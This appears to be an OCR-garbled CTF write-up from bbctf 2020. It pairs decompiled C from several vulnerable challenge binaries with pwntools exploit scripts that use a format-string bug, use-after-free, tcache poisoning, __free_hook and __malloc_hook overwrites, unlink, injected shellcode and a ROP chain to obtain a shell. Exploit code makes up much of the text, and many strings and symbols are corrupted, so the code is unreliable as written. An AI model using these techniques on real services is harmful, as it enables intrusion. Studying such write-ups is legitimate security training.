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201 bbctf 2020 write

v6 = _ _readfsqword(©x28u);
setbuf(stdin, ©LL);
setbuf(_bss_start, OLL);
printf("puts: %p\n", &puts);
printf("stack: %p\n", &v4);
“mnel:r,
{

puts ("===Menu===");

puts("(w)rite");

puts("(q)uit");

fgets(s, 2, stdin);

if ( s[e] == 'q' )
break;

if ( s[e] == "W )

{

printf("ptr: ");

__1s0c99_scanf("%1lu", &v3);

printf("val: ");

__1s0c99_scanf("%1lu", &v4);
}

}
exit(0);
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from pwn import

context.log level

remote(

(r.recv(12), 16)

)
(r.recv(12), 16)

stack_addr 0x20
puts_addr libc.sym[
libc_base 0x41322
(libc_base)
exit_hook = libc_base + 0x619168

r.recvuntil(

.sendline(

.sendline( (exit_hook))
.sendline( (one_gadget))

.recvuntil(

.sendline(

.interactive()
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puts(“Welcome to the story kingdom.");
puts("What's your name?");

read(@, buf, @x2euLl);
_printf_chk(1LL, buf);

puts("Please input your ID.");

read(@, s, 8uLl);

puts(s);
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unsigned __1nt64 add()

{
int v@; // ebx
int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]

v3 = _ readfsgqword(@x28u);
if ( count > 16 )
puts("Enough!");
puts("Please input the size of story: ");
isoc99_scanf("%d", &v2);

;((_DWORD *)&size_array + 4 * count) = v2;
ve@ = count;
*((_QWORD *)&address_array + 2 * v0) = malloc(v2);

puts(“please inpute the story: ");

read(®, *((void **)&address_array + 2 * count), v2);
++count;

puts("Done!");

return __readfsqword(@x28u) " v3;
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free

int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inte4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(@x28u);

puts("Please input the index:");
_1s0¢99_scanf("%d", &vl);

free(*((void **)&address_array + 2 * vl));
puts(“Done!");

return __readfsqword(@x23u) ~ vz;

freeix B { uaf.
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from pwn import

def add(size, content):
r.sendlineafter(
r.sendlineafter(

r.sendafter( , content)
def delete(index):

r.sendlineafter(

r.sendlineafter( (index))

libc = ELF( )
I0_2_ 1 stdout_s libc.symbols[
libc.symbols[

r.sendlineafter(
r.sendlineafter(
add (0x7F, 0x10)

delete(9)
delete(9)

add(ox19,
delete(1)

add (0x20,

add (Ox7F,
add (Ox7F,
add (0x7F,

delete(5)

add(8x20,p16((8x5 << OxC) + (_I0_2_1_stdout_s & BxFFF)))

add(@x7F, Ox20 + p64(0) + p64(0x81))




add(@x7F, p64 (OxOFBAD1887) +p64(0)*3 + p8(0Ox58))

libc_base ub4(r.recv(6).ljust(8, ))) Ox3E82A0
if libc_base 40 OX7F:
raise Exception( )
free_hook_addr libc_base + free_hook_s
system_addr libc_base libc.sym[
print 5 (libc_base)

add(0x79, 0x60 p64(free_hook addr))
add(ox19, 0x10)

add(0x10,p64(system_addr))

delete(2)

while True:
try:
global r

r remote(

exp()

r.interactive()
except:

r.close()

print
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WIF4R A init.

fd = open("/dev/urandom”, ©);
close(fd);

setvbuf(_bss_start, OLL, 2, OLL);
signal(14, handler);

return alarm(@x3Cu);

add

if ( (unsigned int)flowercount > @x63 )
return puts("The garden is overflow");
s = malloc(@x28ull);

printf("Length of the name :");

if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
exit(-1);

buf = malloc((unsigned int)size);

1 Tbu

{
puts("Alloca error !1");
exit(-1);

}

printf("The name of flower :");

read(@, buf, (unsigned int)size);

*((_QWORD *)s + 1) = buf;

prin e color o e TLOWEFr . );

__1s0c¢99_scanf("%23s", (char *)s + 16);

*(_DWORD *)s = 1;

for ( HIDWORD(size) = ©; HIDWORD(size) <= @x63; ++HIDWORD(size) )

{
if ( !flowerlist[HIDWORD(size)] )

{
flowerlist[HIDWORD(size)] = s;

reak;

}
}

++flowercount;
return puts(“"Successful !");
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visit

{
__int64 ve; // rax

unsigned int i; // [rsp+Ch] [rbp-4h]

LODWORD(ve) = flowercount;
if ( flowercount )

{
for (1 =0; 1 <= Ox63; ++1 )
{
ve = flowerlist[i];
if (ve )
{
LODWORD(v@) = *(_DWORD *)flowerlist[i];
if ( (_DWORD)v® )
{
printf("Name of the flower[%u] :%s\n", i, *(const char **)(flowerlist[i] + 8LL));
LODWORD(v@) = printf("Color of the flower[%u] :%s\n", i, (const char *)(flowerlist[i] + 16LL));
b
H
b
¥
else
{
LODWORD(v@) = puts("No flower in the garden !");
¥
return ve;
}
EAE1E Bt ok
free
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unsigned int vi1; // [rsp+Ch] [rbp-4h] BYREF

if ( !flowercount )
return puts("No flower in the garden");
printf("Which flower do you want to remove from the garden:");
__1s0c99_scanf("%d", &vl);
if ( vl <= @x63 && flowerlist[vi] )
{
*(_DWORD *)flowerlist[vl] = @;
free(*(void **)(flowerlist[v1] + 8LL));
result = puts("Successful");

}

else

{

puts("Invalid choice");
result = 8;

}

return result;
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int clean()

{
unsigned int 1i; // [rsp+Ch] [rbp-4h]

for (1 =@; 1 <= @x63; ++1 )
{
if ( flowerlist[i] && !*(_DWORD *)flowerlist[i] )
{
free((void *)flowerlist[i]);
flowerlist[i] = OLL;
--flowercount;
}
}

return puts("Done!");
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lint magic()
{

h

return system("/bin/sh");
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from pwn import

context.log level

r remote(
libc = ELF(

def add(length, name):
.sendlineafter(
.sendlineafter( 5 (length))
.sendafter( , hame)

.sendlineafter(

show():

r.sendlineafter(

delete(idx):
r.sendlineafter(
r.sendlineafter(

clean():

r.sendlineafter(

0x400c5e

ub4(r.recvuntil( ).1ljust(8,
libc_base malloc_hook libc.sym[
realloc libc_base libc.symbols|
0x4526a libc_base
(libc_base)

p64(malloc_hook-0x23))

(0x13-8) p64(one_gadget) p64(realloc+0x10)
payload)

r.interactive()
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= __readfsqword(@x28u);
setvbuf(stdin, ©LL, 2, OLL);
setvbuf(stdout, ©LL, 2, OLL);
setvbuf(stderr, OLL, 2, OLL);
memset (&unk_202060, ©, ©x86uLL);

= open("/dev/urandom", ©);

= OLL;
read(fd, &buf, 5ulLl);

&= OxFFFFFFF@eoeuLL; I
close(fd);

= mmap((void *) , ©xleeeulLL, 7, 34, -1, eLL);
printf(“"Mmap: %p\n", );
unk_202040 = 0;
sub_CBD();
return __readfsqword(@x28u) ~ v4;
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alloc

int alloc()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
void *v2; // [rsp+18h] [rbp-1@h]
unsigned __inté4 size; // [rsp+18h] [rbp-8h]

for ( i = @; qword_202060[2 * i + 1]; ++i )

&
if (1> exF)
return puts("No more space.");
printf("Size: ");
size = sub_EE5();
if ( size > exleee )
return puts("Invalid size!");
v2 = malloc(size);
if ( 1v2 )
{
perror("Memory allocate failed!");
exit(-1);
}
qword_282860[2 * 1 + 1] = v2;
qword_202068[2 * 1] = size;
++count;
return printf("chunk at [%d] Pointer Address %p\n", i, &qword_2e2068[2 * i + 1]);
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fil
unsigned int v1; // [rsp+4h] [rbp-Ch]

printf("Index: ");
vl = sub_EE5();
if ( vl > exF || !qword_202@860[2 * v1 + 1] )
return puts("Invalid index.");
printf("Content: ");
return sub_E2D(gword_282060[2 * vl + 1], qword_2@2068[2 * v1]);
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unsigned __int64 v5; // [rsp+18h] [rbp-

v5 = _ readfsqword(©x28u);
for (1 =0; 1 < a2; ++1 )
{
if ( read(@, &buf, 1ulLL) <=0 )
{
perror("Read failed!\n");
exit(-1);
}
if ( buf == 18 )
break;
*(_BYTE *)(al + i) = buf;
}
if (1 ==2a2)

*(_BYTE *)(i + al) = @;
return __readfsgword(©x28u) ~ v5;
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delete

LNT delete()

r
L

_DWORD *v@; // rax
unsigned int v2; // [rsp+Ch] [rbp-4h]

printf("Index: ");
v2 = sub_EE5();
if ( v2 <= exF && qword_202060[2 * v2 + 1] )
{
free((void *)qword_202060[2 * v2 + 1]);
qword_202e60[2 * v2 + 1] = 6LL;
qword_282060[2 * v2] = OLL;
ve8 = count;
--count[@];
by
else
{
LODWORD(ve) = puts("Invalid index.");
X

return (int)ve;

freedl$ 2 IE i free.
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from pwn import

context.log level

context.arch

r

remote(

elf = ELF(
libc = ELF(

def alloc(size):

r.sendlineafter(

r.sendlineafter(

def delete(index):

r.sendlineafter(
r.sendlineafter( (index))

def fill(index, content):

I

r.sendlineafter( 5
r.sendlineafter( (index))

r.sendlineafter( , content)

recvuntil( )

mmap_addr (r.recv(10),16)




p64(0) + p64(0x21)

p64(bss_addr - 0x18) p64(bss_addr

p64(0x20) + p64(0) + p64(0x30)
fill(0, payloadl)

delete(1)

payload2 = p64(0) 2 + p64(0x550) p64(bss_addr + 0x10) p64(0x550)
fill(0, payload2)
£ill1(1, asm(shellcraft.sh()))

p64(bss_addr + 0x28) p64(0x20) p64(0x491)
p64(0x21) Ox18 + p64(0x21)

fill(0@, payload3)
delete(1)

payload4 ox18 p64(0x20)

fill(0, payload4)

fill(3, p64(mmap_addr))

@lloc(0x20)

r.interactive()
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sea = (__inté4)mmap(eLL, exleeeuLL, 3, 34, -1, eLL);
code = mmap(eLL, ©x1leeeuLL, 3, 34, -1, ©OLL);

ve = time(OLL);

srand(ve);

v2 = rand() % 9080;

memcpy ((void *)(sea + v2), "TREASURE", 8uLL);

memcpy ((void *)(sea + v2), &shellcode, @x26ulLl);
return memset(&shellcode, ©, ©x25uLl);
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puts("Do you want my treasure? Find them yourself! It's shellcode!\n");
fflush(stdout);

make_code_executable(code, 10);

while ( 1)

{
printf("will you continue?(enter 'n' to quit) :");
fflush(stdout);
read(@, code, 1lulLl);
result = *(unsigned __int8 *)code;
if ( (_BYTE)result == 110 )
break;
getchar();
printf("start!!!1!1");
fflush(stdout);
getsn((char *)code + 1, 9u);
if ( !*((_BYTE *)code + 18) )
memcpy((char *)code + 10, &unk_4€0C2A, sizeof(char));
ret = ((__inted (_ fastcall *)(_QWORD))((char *)code + 1))((unsigned int)ret);
}

return result;

}
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from pwn import
context.log level
context(os

r process(

elf = ELF(

libc = ELF(

r.sendlineafter(

shellcode asm(

r.sendlineafter( ,shellcode)
pop_rdi_ret 0x400b83
rop p64(pop_rdi_ret) p64(elf.got[ p64(elf.plt|

r.send(rop)
puts_addr ub4(p.recv(6).ljust(s,

libc_base puts_addr libc.symbols|[

print (libc_base)
one [0x4F322,0x4f2c5,0x10a38c |
one_gadget libc_base +0x4f322

ret 0Xx00000000004006a9
r.sendlineafter(

shellcode = asm(

r.sendlineafter( ,shellcode)

r.send(p64(ret)+p64(one_gadget))

r.interactive()

p64 (0x4009BA)
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